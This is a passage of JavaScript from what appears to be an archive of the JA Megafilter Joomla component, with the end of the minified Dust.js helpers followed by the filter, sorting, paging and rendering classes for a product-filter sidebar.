Date(a)}return a}var k={},l={tap:function(a,c,d){return
b("tap"),d.resolve(a)},sep:function(a,b,c){var d=c.block;return
b.stack.index===b.stack.of-1?a:d?d(a,b):a},first:function(a,b,c){return
0===b.stack.index?c.block(a,b):a},last:function(a,b,c){return
b.stack.index===b.stack.of-1?c.block(a,b):a},contextDump:function(b,c,d,e){var
f,h,i=c.resolve(e.to),j=c.resolve(e.key);switch(j){case"full":f=c.stack;break;default:f=c.stack.head}switch(h=JSON.stringify(f,g,2),i){case"console":a("contextDump",h);break;default:h=h.replace(/</g,"\\u003c"),b=b.write(h)}return
b},math:function(b,c,g,h){var
i,j=h.key,k=h.method,l=h.operand,m=h.round;if(!h.hasOwnProperty("key")||!h.method)return
a("math","`key` or `method` was not
provided","ERROR"),b;switch(j=parseFloat(c.resolve(j)),l=parseFloat(c.resolve(l)),k){case"mod":0===l&&a("math","Division
by
0","ERROR"),i=j%l;break;case"add":i=j+l;break;case"subtract":i=j-l;break;case"multiply":i=j*l;break;case"divide":0===l&&a("math","Division
by
0","ERROR"),i=j/l;break;case"ceil":case"floor":case"round":case"abs":i=Math[k](j);break;case"toint":i=parseInt(j,10);break;default:a("math","Method
`"+k+"` is not
supported","ERROR")}return"undefined"!=typeof
i&&(m&&(i=Math.round(i)),g&&g.block?(c=e(c,{key:i}),b=b.render(g.block,c),f(d(c))):b=b.write(i)),b},select:function(b,c,g,h){var
i=g.block,j={};return
h.hasOwnProperty("key")&&(j.key=c.resolve(h.key)),h.hasOwnProperty("type")&&(j.type=h.type),i?(c=e(c,j),b=b.render(i,c),f(d(c))):a("select","Missing
body
block","WARN"),b},eq:h("eq",function(a,b){return
a===b}),ne:h("ne",function(a,b){return
a!==b}),lt:h("lt",function(a,b){return
b>a}),lte:h("lte",function(a,b){return
b>=a}),gt:h("gt",function(a,b){return
a>b}),gte:h("gte",function(a,b){return
a>=b}),any:function(b,c,e,f){var g=d(c);return
g?g.isDeferredComplete?a("any","Must not be nested inside
{@any} or {@none}
block","ERROR"):b=b.map(function(a){g.deferreds.push(function(){g.isResolved&&(a=a.render(e.block,c)),a.end()})}):a("any","Must
be used inside a {@select}
block","ERROR"),b},none:function(b,c,e,f){var g=d(c);return
g?g.isDeferredComplete?a("none","Must not be nested inside
{@any} or {@none}
block","ERROR"):b=b.map(function(a){g.deferreds.push(function(){g.isResolved||(a=a.render(e.block,c)),a.end()})}):a("none","Must
be used inside a {@select}
block","ERROR"),b},size:function(a,b,c,d){var
e,f,g=d.key;if(g=b.resolve(d.key),g&&g!==!0)if(dust.isArray(g))e=g.length;else
if(!isNaN(parseFloat(g))&&isFinite(g))e=g;else
if("object"==typeof g){e=0;for(f in
g)g.hasOwnProperty(f)&&e++}else e=(g+"").length;else
e=0;return a.write(e)}};for(var m in l)dust.helpers[m]=l[m];return
dust});PK�v�[�������assets/js/megafilter.jsnu�[���/**
 *
------------------------------------------------------------------------
 * JA Megafilter Component
 *
------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights
Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 *
------------------------------------------------------------------------
 */
 
var LNBase = Class.extend(function(){
	// private variable
	var self = this,
		$ = jQuery;

	self.type = 'LNBase';

	self.options = null;
	self.defaultOptions = {
		rerenderWhenUpdate: false
	};

	self.state = {
	};

	self.items = {};
	self.$item = null;

	self.data = {};

	self.ids = [];
	self.matchedIds = [];
	self.shownIds = [];
	self.showingIds = [];

	self.startIdx = 1;
	self.endIdx = 0;
	self.page = 1;
	self.itemPerPage = 12;

	self.rendered = false;

	self.sortField = 'position'; 
	self.sortDir = 'desc';

	self.qs = {};

	self.timeout = [];

	self.constructor = function (options) {
		self.options = $.extend({}, self.defaultOptions, options);
	}


	self.render = function (callback) {
		self.beforeRender();

		var e = $.Event('beforeRender');
		e.lntype = self.type;
		e.lntarget = self;
		$(document).trigger(e);

		dust.render(self.options.template, self, function(err, out) {
			var $el = $(out);
			if ($el.length != 1) $el = $('<div>').html(out);
			$el.addClass('ln-element').addClass(self.options.class).data('lnid',
self.getId());

			if (self.$item) {
				self.$item.remove();
				self.$item = null;
			}

			if (callback) {
				self.$item = callback($el);
			} else {
				self.$item = $el.appendTo($(self.options.container).empty());
			}
			if (self.options.itemWrapper) {
				self.$wrapper = self.$item.is(self.options.itemWrapper) ? self.$item :
self.$item.find(self.options.itemWrapper);
			}

			// find state fields
			self.$stateFields = self.$item.find('[data-lnstate]');

			self.renderItems();

			// Render state value
			self.renderStateFields ();

			self.afterRender();
			self.rendered = true;

			var e = $.Event('afterRender');
			e.lntype = self.type;
			e.lntarget = self;
			self.$item.trigger(e);
		});
		var e = $.Event('completeRender');
		e.lntype = self.type;
		e.lntarget = self;
		self.$item.trigger(e);
	}

	self.renderStateFields = function () {
		if (self.$stateFields.length) {
			self.$stateFields.each(function () {
				var $field = $(this),
					field = $field.data('lnstate'),
					value = self.getField (field);
				$field.html(value);
			})
		}
	}

	self.beforeRender = function () {
		if (self.options.beforeRender) self.options.beforeRender.apply(self);
	}

	self.afterRender = function () {
		if (self.options.afterRender) self.options.afterRender.apply(self);	
	}

	self.beforeUpdateRender = function () {
		if (self.options.beforeUpdateRender)
self.options.beforeUpdateRender.apply(self);
	}

	self.afterUpdateRender = function () {
		if (self.options.afterUpdateRender)
self.options.afterUpdateRender.apply(self);	
	}

	self.beforeRenderItems = function () {
		if (self.options.beforeRenderItems)
self.options.beforeRenderItems.apply(self);
		if (!Object.keys(self.items).length) return;
		if (self.options.showAllItems) {
			self.matchedIds = Object.keys(self.items);
			self.endIdx = self.matchedIds.length;
			self.startIdx = 1;
		} else {
			self.endIdx = self.startIdx + self.itemPerPage - 1;
			if (self.endIdx > self.matchedIds.length) self.endIdx =
self.matchedIds.length;
		}
		if (!self.matchedIds || !self.matchedIds.length) return false;
		self.showingIds = self.matchedIds.slice(self.startIdx - 1, self.endIdx);
		return true;
	}

	self.afterRenderItems = function () {
		if (self.options.afterRenderItems)
self.options.afterRenderItems.apply(self);
	}

	self.renderItems = function () {
		// render children item 
		if (self.beforeRenderItems()) {
			var oldIds = [];
			for(var i=0; i<self.shownIds.length; i++) {
				// remove old item on page
				var id = self.shownIds[i];
				if ($.inArray(id, self.showingIds) == -1) {
					// remove html item
					self.getItem(id).$item.remove();
				} else {
					oldIds.push(id);
				}
			}
			// Render for new item
			self.$currentItem = null;
			for(var i=0; i<self.showingIds.length; i++) {
				var id = self.showingIds[i];
				if ($.inArray(id, oldIds) == -1) {
					// render new one
					self.renderItem(id);
				} else {
					var item = self.getItem (id);
					item.updateRender();
					if (self.$currentItem) item.$item.insertAfter(self.$currentItem);
					self.$currentItem = item.$item;
				}
			}
			// update shownIds
			self.shownIds = self.showingIds.slice();
		} else {
			if (self.$wrapper) self.$wrapper.empty();
			self.shownIds = []
		}

		self.afterRenderItems();
	}

	self.renderItem = function (id) {
		var item = self.getItem(id);

		item.render(function($item){
			$item.addClass(self.options.itemClass);
			if (self.$currentItem) $item.insertAfter(self.$currentItem);
			else $item.appendTo(self.$wrapper);
			self.$currentItem = $item;
			return $item;
		});
	}

	self.updateRender = function () {
		self.delayCall('_updateRender', 1);
	}

	self._updateRender = function () {
		var e = $.Event('beforeUpdateRender');
		e.lntype = self.type;
		e.lntarget = self;
		self.$item.trigger(e);

		if (self.options.rerenderWhenUpdate) {
			self.render();
		} else {
			self.beforeUpdateRender();
			self.renderItems();
			self.renderStateFields ();
			self.afterUpdateRender();
		}

		if (self.type === 'LNBase' && self.options.autopage) {
			self.autoPage();
		}

		var e = $.Event('afterUpdateRender');
		e.lntype = self.type;
		e.lntarget = self;
		self.$item.trigger(e);
	}

	self.addItem = function (child, id) {
		if (!id) id = child.data[id];
		child.lnid = id.slugify();
		child.parent = self;
		self.items[child.lnid] = child;
	}

	self.getData = function () {
		return self.data;
	}

	self.setData = function (data) {
		self.data = data;
	}

	self.getField = function (field) {
		if (self[field] !== undefined) return self[field];
		if (self.data[field] !== undefined) return self.data[field];
		// check if path field, eg: stats.HP
		var fields = field.split('.'),
			v = self.data, 
			i=0;
		while(v && i<fields.length) {
			v = v[fields[i++]];
		}
		return v === undefined ? '' : v;
	}

	self.getTemplate = function () {
		return self.options.template;
	}

	self.getItem = function (id) {
		return self.items[id.slugify()];
	}

	self.getId = function () {
		return self.lnid;
	}

	self.is = function (check) {
		if (typeof check == 'string') {
			return check === self.type;
		}

		if (check instanceof LNBase) {
			return (check.is(self.type) && check.getId() == self.getId());
		}

		return false;
	}

	// pages
	self.setPage = function (p) {
		if (!p) return;
		self.setQS('page', p);
		self.page = p;
		self.startIdx = (p-1) * self.itemPerPage + 1;
		return self;
	}

	// sticky
	self.sticky = function () {
		if(!isMobile.any ) {
			$(self.options.container).parent().stick_in_parent().trigger('sticky_kit:recalc');
		}
	}

	// auto page
	self.autoPage = function () {
		var	itemWrapper = $(self.options.itemWrapper),
		div = $('<div>',
{id:'autopage','page-data': 1,
'style':'clear:both'}),
		reachEnd = 0;

		if ($('#autopage').length) {
			$('#autopage').remove();
			itemWrapper.append(div);
		}
		else {
			itemWrapper.append(div);
		}

		self.startIdx = 1;
		self.endIdx = self.matchedIds.length;

		$(window).on('scroll.page',function () {
			var wheight = $(window).outerHeight(),
			target = $('#autopage').offset().top,
			numpage =
parseInt($('#autopage').attr('page-data')),
			start = numpage * self.itemPerPage + 1,
			end = start + self.itemPerPage - 1;

			if (end > self.endIdx ) 
				end = self.endIdx;  

			if( ($(window).scrollTop() + wheight + 400) >= target ) {
				self.showingIds = self.matchedIds.slice(start - 1, end)

				for(var i=0; i<self.showingIds.length; i++) {
					var id = self.showingIds[i];
					self.renderItem(id);
					self.shownIds.push(id);
				}
				
				if (end === self.endIdx) {
					$(window).off('scroll.page')
				} else {
					numpage = numpage + 1;
					$('#autopage').attr('page-data', numpage );
				}

				// for afterAutoPage() callback
				var e = $.Event('afterAutoPage');
				e.lntype = self.type;
				e.lntarget = self;
				self.$item.trigger(e);
			}
		});
	}

	// pages
	self.setLimiter = function (limiter) {
		self.setQS('limiter', limiter);
		self.itemPerPage = parseInt(limiter);
		self.startIdx = (self.page-1) * self.itemPerPage + 1;
		if (self.startIdx >= self.matchedIds.length) {
			// reset to first page
			self.startIdx = 1;
			self.page = 1;
		}
		
		return self;
	}

	// sort
	self.sort = function (field, dir) {
		if (field !== undefined) {
			self.setQS('sort', field);
			self.sortField = field;
		}
		if (dir == 'asc' || dir == 'desc') {
			self.setQS('sortdir', dir);
			self.sortDir = dir;
		}
		var d = self.sortDir == 'desc' ? -1 : 1;

		if (!self.ids.length || (self.sortField == 'position'
&& d == -1)) 
			self.ids = Object.keys(self.items);
		// do sort
		if (self.sortField != 'position') {
		    let dump_custom_ordering = [];
            if
(ja_custom_ordering[self.sortField.replace('frontend_value',
'value')] !== undefined)
                dump_custom_ordering =
ja_custom_ordering[self.sortField.replace('frontend_value',
'value')];
			self.ids.sort(function (a, b) {
				var v1 = self.getItem(a).getField(self.sortField),
					v2 = self.getItem(b).getField(self.sortField);

				// transfer array to string
				if (Array.isArray(v1)) {
					v1.sort();

					// sort items depend on ordering feature in administrator
					if
(ja_custom_ordering[self.sortField.replace('frontend_value',
'value')] !== undefined) {
					    let v11 = [];
                        for (let x in dump_custom_ordering) {
                            if (v1.indexOf(dump_custom_ordering[x]) !==
-1)
                                v11.push(parseInt(x));
                        }
                        if (v11.length)
                            v1 = v11;
                    }

					v1 = v1.join(' ');
				}
				if (Array.isArray(v2)) {
					v2.sort();

					// sort items depend on ordering feature in administrator
                    if
(ja_custom_ordering[self.sortField.replace('frontend_value',
'value')] !== undefined) {
					    let v11 = [];
                        for (let x in dump_custom_ordering) {
                            if (v2.indexOf(dump_custom_ordering[x]) !==
-1)
                                v11.push(parseInt(x));
                        }
                        if (v11.length)
                            v2 = v11;
                    }

					v2 = v2.join(' ');
				}
					
				if (v1 == v2) {
					var t1 = +self.getItem(a).getField('id'),
						t2 = +self.getItem(b).getField('id');
					return t1 > t2 ? d : -d;
				}
				
				if ( !isNaN(v1) && !isNaN(v2) && v1 !== ''
&& v2 !== '') {
					v1 = +v1;
					v2 = +v2;
					return v1 > v2 ? d : -d;
				} else if( v1 && v2 ) {
					v1 = v1.split('');
					v2 = v2.split('');
					var min = Math.min(v1.length, v2.length);
					for (var i = 0; i < min; i++) {
						if (v1[i] != v2[i]) {
							return v1[i].localeCompare(v2[i]) > 0 ? d : -d;
						}
					}

					return v1 > v2 ? d : -d;
				}
				
				// let empty value always goes to bottom
				if (!v1) {
					return d > 0 ? d : -d;
				}
				
				if (!v2) {
					return d < 0 ? d : -d;
				}
			});
		} else if (d == 1) {
			self.ids.reverse();
		}
		return self;
	}

	self.setMatchedItems = function (ids) {
		self.matchedIds = [];
		if (!self.ids.length) self.ids = Object.keys(self.items);
		self.ids.forEach(function(id) {
			if (ids.indexOf(id) != -1) self.matchedIds.push(id);
		})
		return self;
	}

	self.setQS = function (name, value) {
		self.getQS().set(name, value);
	}

	self.getQS = function () {
		if ($.lnqs == undefined) {
			$.lnqs = new LNQueryString();
			$.lnqs.load();
		}
		return $.lnqs;
	}

	self.delayCall = function (func, timeOut) {
		if (self.timeout[func]) clearTimeout(self.timeout[func]);
		if (self[func]) {
			self.timeout[func] = setTimeout(function () {self[func]()}, timeOut);
		}
	}

	self.cleanRangeValue = function (value) {
		if(isNaN(value)) {
			var arr = [], pieces = value.split('');
			for (var i = 0; i < pieces.length; i++) {
				pieces[i] = pieces[i].replace(',', '.');
				if (pieces[i] == ' ') {
					continue;
				}

				if (pieces[i] === '.' || !isNaN(pieces[i])) {
					arr.push(pieces[i]);
				}
			}
			value = arr.join('');
			return isNaN(value) ? 0 : value;
		} 

		return value;
	}
});
;
var LNFilter = LNBase.extend(function(){
	// private variable
	var self = this,
		$ = jQuery,
		so = setOps;

	self.type = 'LNFilter';

	self.defaultOptions = {
		template: 'filter-list',
		container: '.sidebar',
		itemWrapper: '.filter-list',
		showAllItems: true
	};

	self.lnItems = null;
	self.filterResult = null;

	// is first load

	self.isFirstLoad = true;

	// store selected value
	self.selectedFilters = {};

	// page
	self.page = 1;

	// Filter base on list data items
	self.addItems = function (lnItems) {
		self.lnItems = lnItems;
	}

	// Filter result
	self.addFilterResult = function (filterResult) {
		self.filterResult = filterResult;
		self.filterResult.setSelectedFilters (self.selectedFilters);
	}


	self.addFilterSingle = function (options) {
		// template
		self.addItem (new LNFilterGroup($.extend(options, {
			template: 'filter.radio',
			class: 'filter-field filter-radio',
			type: 'single'
		})), 'filter-' + options.field);
	}

	self.addFilterDropdown = function (options) {
		// template
		self.addItem (new LNFilterGroup($.extend(options, {
			template: 'filter.dropdown',
			class: 'filter-field filter-dropdown',
			type: 'dropdown'
		})), 'filter-' + options.field);
	}

	self.addFilterList = function (options) {
		// template
		self.addItem (new LNFilterGroup($.extend(options, {
			template: 'filter.list',
			class: 'filter-field filter-list',
			type: 'list'
		})), 'filter-' + options.field);
	}


	self.addFilterMultiple = function (options) {
		// template
		self.addItem (new LNFilterGroup($.extend(options, {
			template: 'filter.multiple',
			class: 'filter-field filter-multiple',
			type: 'multiple'
		})), 'filter-' + options.field);
	}

	self.addFilterValue = function (options) {
		// template
		self.addItem (new LNFilterValue(options), 'filter-' +
options.field);
	}

	self.addFilterDate = function (options) {
		// template
		self.addItem (new LNFilterDate(options), 'filter-' +
options.field);
	}
	self.addFilterNumberrange = function (options) {
		// template
		self.addItem (new LNFilterNumberrange(options), 'filter-' +
options.field);
	}

	self.addFilterColor = function (options) {
		// template
		self.addItem (new LNFilterGroup($.extend(options, {
			template: 'filter.color',
			class: 'filter-field filter-color',
			type: 'color'
		})), 'filter-' + options.field);
	}

	self.addFilterSize = function (options) {
		// template
		self.addItem (new LNFilterGroup($.extend(options, {
			template: 'filter.size',
			class: 'filter-field filter-size',
			type: 'size'
		})), 'filter-' + options.field);
	}

	self.addFilterMedia = function (options) {
	    // template
        self.addItem (new LNFilterGroup($.extend(options, {
            template: 'filter.media',
            class: 'filter-field filter-media',
            type: 'media'
        })), 'filter-' + options.field);
	}

	self.addFilterRange = function (options) {
		// find max value 
		if (!options.max) {
			var field = options.field,
				vals = [];
			for (var id in self.lnItems.items) {
				var v = self.lnItems.getItem(id).getField(field);
				if (Array.isArray(v)) {
					for (var i = 0; i < v.length; i++) {
						vals.push(+self.cleanRangeValue(v[i]));
					}
				} else {
					vals.push (+self.cleanRangeValue(v));
				}
			}
			options.min = Math.min.apply(Math, vals);
			options.max = Math.max.apply(Math, vals);
			// change max min value to float to int.
			if (!!(options.max % 1)) options.max = Math.ceil(options.max);
			if (!!(options.min % 1)) options.min = Math.floor(options.min);
		}

		// template
		self.addItem (new LNFilterRange(options), 'filter-' +
options.field);
	}

  self.addFilterRating = function(options){
    self.addItem (new LNFilterGroup($.extend(options, {
      template: 'filter.rating',
      class: 'filter-field filter-rating',
      type: 'rating'
    })), 'filter-' + options.field);
    // self.addItem ( new LNFilterRating(options), 'filter-' +
options.field);
  }

	

	// update value for filter type Single & Multiple
	self.updateFilter = function () {
		for (var gid in self.items) {
			var fgroup = self.getItem(gid),
				field = fgroup.options.field,
				type = fgroup.options.type,
				frontend_value;
			if (fgroup.options.frontend_field)
				frontend_value=fgroup.options.frontend_field;
			else
				frontend_value=fgroup.options.field;
			// show all child
			fgroup.options.showAllItems = true;
			fgroup.options.itemWrapper = '.filter-items';
			// fetch child value from filter data
			if (fgroup.is('LNFilterGroup')) {
        if (fgroup.options.type === "rating") {
          var items = self.lnItems.items;
          var rates = [5,4,3,2,1,0];
          rates.forEach(rate => {
            const fitem = new LNFilterItem({
              template: fgroup.getTemplate() + '-item',
              name: field,
              frontend_value: rate,
              value: rate,
							width_rating: rate*20,
            });
            fitem.mids = [];
            fgroup.addItem(fitem, field +'-' + rate);

            for (var id in self.lnItems.items) {
              var item = self.lnItems.getItem(id);
              var itemRating = item.getField(field);

              itemRating = itemRating ? parseFloat(itemRating) : 0;
							if (itemRating === 5){
								fitem.mids.push(id);
							} else if (itemRating >= rate && itemRating < 5) {
                fitem.mids.push(id);
              }
            }
          })
        } else {
          // fetch field values into array
          for (var id in self.lnItems.items) {
            var item = self.lnItems.getItem(id),
              val = item.getField(field),
              frontend_val = item.getField(frontend_value);

            if (val === undefined) continue;

            if ($.isArray(val)) {
              for (var i=0; i<val.length; i++) {
                var v = val[i],
                  key = field + '-' + v,
                  fitem = fgroup.getItem(key);

                if (!v || v == 'N/A') continue;
                if (!fitem) {
                  fitem = new LNFilterItem({
                    template: fgroup.getTemplate() + '-item',
                    name: field,
                    frontend_value: frontend_val[i],
                    value: v
                  });
                  fitem.mids = [];
                  fgroup.addItem(fitem, key);
                }

                $.inArray(id, fitem.mids) === -1 &&
fitem.mids.push(id);
              }
            } else {
              var v = val,
                key = field + '-' + v,
                fitem = fgroup.getItem(key);
              if (!v || v == 'N/A') continue;
              if (!fitem) {
                fitem = new LNFilterItem({
                  template: fgroup.getTemplate() + '-item',
                  name: field,
                  value: v
                });
                fitem.mids = [];
                fgroup.addItem(fitem, key);
              }

              $.inArray(id, fitem.mids) === -1 &&
fitem.mids.push(id);
            }
          }
        }

				// sort child items
				var keys = Object.keys(fgroup.items);

				// unset this fgroup if less than 1 values
				if (keys.length < 1) {
					delete self.items[gid];
				} else {
					var ordering = ja_custom_ordering[field];
					if (ordering) {
						keys.sort(function(a, b) {
							var valA = fgroup.getItem(a).options.value;
							var valB = fgroup.getItem(b).options.value;
							var keyA = ordering.indexOf(decodeURIComponent(valA));
							var keyB = ordering.indexOf(decodeURIComponent(valB));
							return keyA < keyB ? -1 : 1;
						});
						
					} else {
						var order = (fgroup.options.order.toUpperCase() == 'DESC')
? -1 : 1;
						keys.sort(function (a, b) {
							// control the order direction. it's do not relate to default
options.
							var orderType = 0;
							var $a = fgroup.getItem(a);
							var $b = fgroup.getItem(b);

							if (ja_fileter_field_order[$a.options.name] !== undefined &&
ja_fileter_field_order[$b.options.name] !== undefined) {
								if (ja_fileter_field_order[$a.options.name] ===
'name_asc') // name ASC
									order = 1;
								if (ja_fileter_field_order[$a.options.name] ==
'name_desc') // name DESC
									order = -1;
								if (ja_fileter_field_order[$a.options.name] ==
'number_asc') // number ASC
									orderType = 1;
								if (ja_fileter_field_order[$a.options.name] ==
'number_desc') // number DESC
									orderType = -1;
							}

							if (orderType) {
								var countA = typeof $a.mcount === 'number' ? $a.mcount :
$a.mids.length;
								var countB = typeof $a.mcount === 'number' ? $b.mcount :
$b.mids.length;

								if (orderType === 1) {
									return countA < countB ? -1 : 1; // ASC
								} else {
									return countA > countB ? -1 : 1; // DESC
								}
							}

              if ($a.options.name === 'rating'){
                return $a.options.name.localeCompare($b.options.name) *
order;
              }
							// end control.
							return
$a.options.frontend_value.localeCompare($b.options.frontend_value) *
order;
						});
					}

					var _items = {};
					keys.forEach(function (id) {
						_items[id] = fgroup.getItem(id);
					});

					fgroup.items = _items;
				}
			}
		}
		return self;
	}

	self.afterRender = function () {
		// tracking change on filter
		self.$item.on('change', function (e) {
			if (self.options.sticky) {
				self.sticky();
			}
			// update filter selected
			var $value = $(e.target),
				$fgroup = $value.closest('.filter-field'),
				fgroup = self.getItem($fgroup.data('lnid')),
				field = fgroup.options.field,
				type = fgroup.options.type;
			if ($value.is('select')) {
				// find element item
				var val = $value.val(),
					key = field + '-' + val,
					fitem = fgroup.getItem(key);
				// update to selected list
				if ($value.attr('multiple') === undefined) {
					// single select
					if (val) {
						self.selectedFilters[field] = fitem;
					} else {
						delete self.selectedFilters[field];
					}
				} else {
					// multiple select
					$value.find('option').each(function() {
						var key = field + '-' + $(this).attr('value');
						var fitem = fgroup.getItem(key);
						if ($.inArray(jQuery(this).attr('value'), val) !== -1) {
							self.selectedFilters[key] = fitem;
						} else {
							delete self.selectedFilters[key];
						}
					});
				}
			} else {
				if (fgroup.is('LNFilterValue')) {
					fgroup.value = $value.val();
					if (fgroup.value) {
						self.selectedFilters[field] = fgroup;
					} else {
						delete self.selectedFilters[field];
					}
				}
				if (fgroup.is('LNFilterGroup') && (type ==
'multiple' || type == 'color' || type ==
'size' || type == 'media')) {
					var $fitem = $value.closest('.ln-element'),
						fitem = fgroup.getItem($fitem.data('lnid')),
						key = $fitem.data('lnid');//field + '-' +
fitem.options.value;
					// toggle. with checkbox type we toggle the active.
					if ($value.prop('checked')) {
					    jQuery($fitem).addClass('jamg-active');
						self.selectedFilters[key] = fitem;
					} else {
					    jQuery($fitem).removeClass('jamg-active');
						delete self.selectedFilters[key];
					}
				}
				if (fgroup.is('LNFilterGroup') && (type ===
'single') || type === 'rating') {
					var $fitem = $value.closest('.ln-element'),
						fitem = fgroup.getItem($fitem.data('lnid'));
					// with radio we uncheck all radio first.
					$fgroup.find('.jamg-active').removeClass('jamg-active');
					if (fitem) {
            jQuery($fitem).addClass('jamg-active');
						self.selectedFilters[field] = fitem;
					} else {
						delete self.selectedFilters[field];
					}
				}
				if (fgroup.is('LNFilterRange')) {
					fgroup.value = $value.val();
					fgroup.value[0] = parseInt(fgroup.value[0]); // to Int
					fgroup.value[1] = parseInt(fgroup.value[1]); // to Int
					if (fgroup.value) {
						self.selectedFilters[field] = fgroup;
					} else {
						delete self.selectedFilters[field];
					}
				}				

				if (fgroup.is('LNFilterDate') ||
fgroup.is('LNFilterNumberrange')) {
					fgroup.value = $value.val();
					if (fgroup.value) {
						self.selectedFilters[field] = fgroup;
					} else {
						delete self.selectedFilters[field];
					}
				}
			}

			// using timeout to prevent multiple change in sort time
			clearTimeout(self.filterChangeTimeout);
			self.filterChangeTimeout = setTimeout(function() {
				self.filterChangeHandle()
			}, 100);
		});

		self.super.afterRender();

	}

	self.filterChangeHandle = function () {
		// fetch matched item
		var matchedIds = [];
		jQuery('span.color-item-bg').removeClass('color-active');
		jQuery('img.img-item').removeClass('media-active');
		if (Object.keys(self.selectedFilters).length) {
			var fields = {},
				ids = [],
				vfields = [];
			for(var prop in self.selectedFilters) {
				var fitem = self.selectedFilters[prop],
					field;

				if (!fitem.is('LNFilterItem')) {
					field = fitem.options.field;
					// process for value & range filter
					// vfields.push(prop);
					var _ids = [];
					for (var id in self.lnItems.items) {
						var item = self.lnItems.getItem(id),
							matched = true;
						if (!fitem.options.match || !fitem.options.match(item, field,
fitem.value))
							matched = false;
						if (matched) _ids.push(id);
					}
					fields[field] = _ids;
				} else {
					field = fitem.parent.options.field;
					if (fitem.options.template === 'filter.color-item') {
						fitem.$item.find('.color-item-bg').addClass('color-active');
					} else if (fitem.options.template === 'filter.media-item')
{
						fitem.$item.find('img').addClass('media-active');
					}
					fields[field] = fields[field] ? setOps.union(fields[field],
fitem.mids) : fitem.mids;
				}
				ids = setOps.union(ids, fields[field]);
			}

			var t = 0;
			// find matched items
			for(var field in fields) {
				matchedIds = t ? setOps.intersection(matchedIds, fields[field]) :
fields[field];
				t++;
			}

			// update counter for this field
			for (var gid in self.items) {
				var fgroup = self.getItem(gid),
					field = fgroup.options.field,
					fmatchedIds = [];

				// reset before count
				for (var fid in fgroup.items) {
					fgroup.getItem(fid).mcount = 0;
				}

				if (field in fields) {
					if (Object.keys(fields).length == 1) {
						// use global count
						// update counter for each item
						for (var fid in fgroup.items) {
							fgroup.getItem(fid).mcount = fgroup.getItem(fid).mids.length;
						}
					} else {
						// find matched items except this condition
						var t = 0
						for(var f in fields) {
							if (f == field) continue;
							fmatchedIds = t ? setOps.intersection(fmatchedIds,
fields[f]):fields[f];
							t++
						}
					}
				} else {
					fmatchedIds = matchedIds;
				}

				if (fmatchedIds.length) {
					// reset before count
					fmatchedIds.forEach(function(id) {	
						var item = self.lnItems.getItem(id),
							val = item.getField(field);

						if ($.isArray(val)) {							
							val.forEach(function(v){
								var fitem = fgroup.getItem(field + '-' + v);
								if (fitem) fitem.mcount += 1;
							});
						} else {
							var v = val,
								key = field + '-' + v,
								fitem = fgroup.getItem(key);
							if (fitem) fitem.mcount += 1;
						}
					})
				}
			}
		} else {
			matchedIds = Object.keys(self.lnItems.items);
			// reset counter
			for (var gid in self.items) {
				var fgroup = self.getItem(gid);
				for (var fid in fgroup.items) {
					fgroup.getItem(fid).mcount = fgroup.getItem(fid).mids.length;
				}
			}
		}
		self.lnItems.setMatchedItems(matchedIds);

		if (self.isFirstLoad) {
			self.isFirstLoad = false;
		} else {
			self.page = 1;
		}

		self.lnItems.setPage(self.page);
		self.lnItems.updateRender();

		self.updateFilter();
		self.updateRender();
		self.updateFilterResult();
		setTimeout(function () {
			self.$item.find('select').trigger('liszt:updated');
		}, 300)
	}

	self.updateFilterResult = function () {
		if (self.filterResult) {
			self.filterResult.updateRender();
		}
	}

	self.load = function () {
		var qs = self.getQS().qs,
			filtered = false;

		for (var gid in self.items) {
			var fgroup = self.getItem(gid),
				field = fgroup.options.field;
			if (qs[field]) {
				fgroup.setValue(qs[field]);
				filtered = true;
			}
		}

		return self;
	}
});
var LNFilterGroup = LNBase.extend(function() {
	// private variable
	var self = this,
		$ = jQuery;

	self.type = 'LNFilterGroup';

	self.options = null;
	self.defaultOptions = {
		class: 'filter-field',
		order: 'ASC'
	};
	
	self.afterRender = function () {
		// easy way to change the category tree name.
		// only use field name that we can detect it's category tree.
		if (self.options.field == 'attr.cat.value' ||
self.options.field == 'attr.category.value' || self.options.field
== 'attr.tag.value') {
			var $lv;
			switch (self.options.type) {
				case 'multiple': 
					self.$item.find('input').each(function() {
						$lv = ($(this).next().text().match(/ » /g) || []).length+1;
						$(this).parents('li').addClass('lv-'+$lv);
						$(this).next().text($(this).next().text().replace(/^(.*)?» /,
''));
					});
					break;
				case 'single':
        case 'rating':
					self.$item.find('input').each(function() {
						$lv = ($(this).next().text().match(/ » /g) || []).length+1;
						$(this).parents('li').addClass('lv-'+$lv);
						$(this).next().text($(this).next().text().replace(/^(.*)?» /,
''));
					});
					break;

				case 'dropdown':
					self.$item.find('option').each(function() {
						$lv = ($(this).text().match(/ » /g) || []).length+1;
						var $space = '';
						for (i=1; i< $lv; i++) {
							if (i > 1) {
								$space += '. ';
							} else {
								$space += ': . ';
							}
						}
						$(this).addClass('lv-'+$lv);
						$(this).text($space+''+$(this).text().replace(/^(.*)?» /,
''));
					});
					break;
				case 'color':
				case 'size':
				case 'list':
				case 'media':
					break;
			}
		}
		if (self.options.type == 'color') {
			self.$item.find('span.color-item-bg').each(function() {
				if
((JAnameColor[$(this).data('bgcolor').toLowerCase().trim()]) !=
undefined) {
					$(this).css('background-color',
JAnameColor[$(this).data('bgcolor').toLowerCase().trim()]);
				} else {
					$(this).css('background-color',
($(this).data('bgcolor').toLowerCase().trim().indexOf('#')
=== -1 ? '#' :
'')+jQuery(this).data('bgcolor').toLowerCase().trim());
				}
			});
		}

		if (self.options.type === 'dropdown') {
			self.$item.find('select').chosen({
				disable_search_threshold: 10,
				placeholder_text_multiple:
Joomla.JText._('COM_JAMEGAFILTER_MULTIPLE_SELECT_PLACEHOLDER')
			});
		}
    if (self.options.type !== 'rating') {
      if ((ja_show_more > 0 &&
self.$item.find('li:not(.first)').length > ja_show_more)) {
        self.$item.find('li:not(.first):gt(' + (ja_show_more - 1)
+ ')').hide();
        self.$item.find('li').last().after('<li
class="show-more" style="float: none; clear:
both;"><a href="javascript:;" class=""
onclick="return openShift(this);">' +
jamegafilter_show_more + '</a></li>');
      }
    }
	}

	self.reset = function () {
		self.setValue('');
	}

	self.setValue = function (value) {
		switch (self.options.type) {
			case 'color':
			case 'size':
			case 'multiple': 
			case 'media':
				var vals = value.split(',');
				self.$item.find('input').prop('checked',
false).filter(function(){
